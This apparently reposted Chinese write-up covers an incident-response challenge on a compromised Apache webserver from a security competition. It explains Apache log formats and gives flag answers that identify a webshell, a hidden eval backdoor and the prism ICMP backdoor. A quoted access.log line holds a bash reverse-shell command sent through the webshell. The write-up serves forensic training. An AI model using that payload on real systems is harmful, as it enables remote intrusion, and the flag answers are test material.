当前位置: 首页 > news >正文

记一次某网络安全比赛三阶段webserver应急响应解题过程

0X01 任务说明

0X02 靶机介绍

Webserver(Web服务器)是一种软件或硬件设备,用于接收、处理并响应来自客户端(如浏览器)的HTTP请求,提供网页、图片、视频等静态或动态内容,是互联网基础设施的核心组件之一,其主要功能包括处理HTTP请求(接收客户端如浏览器发送的GET、POST等请求)、生成响应(根据请求内容返回对应资源如HTML页面、JSON数据)、管理静态文件(直接提供图片、CSS、JavaScript等静态资源)、与后端服务协作(通过API或脚本语言如PHP、Python与后端应用交互生成动态内容)以及支持安全协议(如HTTPS加密传输)、负载均衡(分发请求到多个服务器)和日志记录(记录访问信息用于分析和审计)等,常见的Web服务器软件包括Apache HTTP Server、Nginx、Microsoft IIS、Lighttpd等,它们在性能、功能、配置复杂度等方面各有特点,广泛应用于网站托管、应用服务、API网关等场景。

0X03 涉及知识

  1. access.log:
    位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
    作用:记录对服务器的每个HTTP请求的详细信息,包括访问时间、请求方法、URL、客户端IP等。
    格式:日志格式可以在配置文件中自定义,但通常包括客户端IP、用户标识符、用户名称、日期、请求
    方法:请求的URL、HTTP协议版本、响应状态码、响应大小等信息。
  2. error.log:
    位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
    作用:记录Apache服务器的错误和警告消息,用于故障排除和问题诊断。
    格式:通常包含错误消息、时间戳和错误级别。
  3. other_vhosts_access.log(虚拟主机访问日志):
    位置:通常位于虚拟主机配置中指定的位置。
    作用:记录虚拟主机的HTTP请求,与 access.log 类似,但仅针对特定虚拟主机。
    格式:与 access.log 相同。

access.log日志格式

access.log 文件的格式是可配置的,通常使用常见的日志格式,包括以下字段:

  1. 客户端IP地址:发出请求的客户端的IP地址。
  2. 客户端标识符(标识客户端身份的用户或代理):通常为空。
  3. 用户名(如果启用了HTTP身份验证,记录请求的用户名称):通常为空。
  4. 记录时间:请求被记录的时间。
  5. 请求方法:HTTP请求方法(例如,GET、POST)。
  6. 请求的URL:被请求的资源的URL。
  7. HTTP协议版本:请求使用的HTTP协议版本。
  8. 服务器响应状态码:服务器对请求的响应状态码(例如,200表示成功,404表示未找到,500表示服务器错误)。
  9. 响应大小:服务器响应的大小(以字节为单位)。
  10. 引用来源:如果有的话,表示从哪个页面链接访问的。
  11. 用户代理:发出请求的用户代理信息,通常包含浏览器类型和版本等。
例:
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?
2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200
242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
1.客户端IP地址:192.168.1.7
2.客户端标识符: -
3.用户名: -
4.记录时间:[24/Apr/2022:15:27:32 +0000]
5.请求方法:GET
6.请求的URL:/data/avatar/1.php?2022=bash%20-
i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1
7.HTTP协议版本:HTTP/1.1
8.服务器响应状态码:200
9.响应大小:242
10.引用来源(Referer):"-"
11.用户代理:"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"

error.log日志格式

[Sun Apr 24 15:17:51.546416 2022] [:error] [pid 77910] [client
192.168.1.7:53328] script '/var/www/html/phpfm.php' not found or unable to
stat

  1. [Sun Apr 24 15:17:51.546416 2022]:表示错误发生的日期和时间,以及微秒级别的时间戳。这告诉您错误发生在2022年4月24日15:17:51.546416。这个时间戳通常以世界协调时(UTC)格式表示。
  2. [:error]:指示错误的级别。在这里,级别是错误(error),这是Apache日志中的一种标准级别,表示发生了一个错误事件。
  3. [pid 77910]:指示与错误相关的进程ID(PID)。在这里,PID是77910。这个信息对于跟踪特定请求的错误非常有用。
  4. [client 192.168.1.7:53328]:指示客户端的IP地址和端口号。在这里,客户端的IP地址是192.168.1.7,而连接的端口号是53328。这有助于确定引发错误的客户端。
  5. script '/var/www/html/phpfm.php' not found or unable to stat:这是错误消息的正文部分,提供了有关错误的详细信息。具体来说,它表示Apache服务器正在尝试查找名为phpfm.php的脚本文件,但未能找到它,或者由于某种原因无法对其进行状态检查(stat操作)。
    这可能是因为文件不存在、权限问题或其他问题。

0X04 应急响应

1、提交攻击者的IP地址

首先,查看服务器所开放的端口,发现开放了80端口,并且运行的服务为apache2。

#通过access.log.1日志文件内容,查看服务器的各种状态。
vim /var/log/apache2/access.log.1

可以看到IP为192.168.1.7的用户使用了DIRSEARCH扫描工具对网站目录进行了大量扫描,接着查看最后100行日志,在日志文件中发现漏洞利用的代码,这里通过文件上传漏洞,上传了1.php文件,并执行了id和whoami命令,最后反弹了shell。

flag{192.168.1.7}

2、识别攻击者使用的操作系统

flag{Linux x86_64}

3、找出攻击者资产收集所使用的平台

flag{shodan}

4、提交攻击者目录扫描所使用的工具名称

flag{DIRSEARCH}

5、提交黑客首次攻击成功的时间,格式:DD /MM/YY:HH:MM:SS

flag{24/Apr/2022:15:26:42}

6、找到攻击者写入的恶意后门文件,提交文件名(完整路径)和后门密码

结合网站根目录路径为/var/www/html,木马所在的网站目录为/data/avatar/1.php 并且连接密码为2022。

flag{/var/www/html/data/avatar/1.php 2022}

7、找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)

cd /var/www/html
#grep命令是Linux系统中一个非常重要且功能强大的文本搜索工具。
#以下命令用来检索网站根目录下包含一句话木马eval关键字的文件。
grep -r "eval"

flag{/var/www/html/footer.php}

8、识别系统中存在的恶意程序进程,提交进程名

使用crontab -l 查看任务计划发现存在后门进程

flag{prism}

9、找到文件系统中的恶意程序文件并提交文件名(完整路径)

#查看进程
ps -aux
#查看程序位置
lsof -p 981 (进程PID号)

flag{/root/.mal/prism}

10、简要描述该恶意文件的行为

https://github.com/andreafabrizi/prism 项目地址

flag{ICMP后门执行远程攻击者的命令}

相关文章:

  • Spring Cloud主要组件介绍
  • 解密Oracle数据库RAC技术原理:构建高可用、可扩展的集群数据库
  • sward安装及入门指南
  • 揭秘大数据 | 20、软件定义数据中心
  • ELK+Filebeat 深度部署指南与实战测试全解析
  • MySQL聚合查询
  • 利用 限制torch线程数与异步方法提升声纹识别效率
  • 旧版 VMware 虚拟机迁移至 KVM 平台-案例2
  • 动手强化学习之马尔可夫决策(机器人篇)
  • keil如何创建一个工程
  • STM32单片机入门学习——第36节: [11-1] SPI通信协议
  • C++中extern关键字
  • 【微信开发者工具】解决微信开发工具的调试器加载错误,从任务栏打开工具可能导致该问题,请不要从任务栏启动工具
  • Redis 常问知识
  • MCP的另一面
  • Spark-SQL
  • 贪心算法(18)(java)距离相等的条形码
  • Docker实战:从零构建高可用的MySQL主从集群与Redis集群
  • 破产计划:openmv烧写UVC.bin直接让openmv作为电脑免驱动摄像头
  • 考研单词笔记 2025.04.14
  • 广西一季度GDP为6833.92亿元,同比增长5.8%
  • 浙江桐乡征集涉企行政执法问题线索,含乱收费、乱罚款、乱检查等
  • 美方因涉港问题对中国官员滥施非法单边制裁,外交部:强烈谴责,对等反制
  • 长三角主流媒体将走进“来电”宜昌,探寻高质量发展密码
  • 北京理工大学解除宫某聘用关系,该教授此前被指骚扰猥亵学生
  • 新闻1+1丨全球首场人机共跑马拉松,有何看点?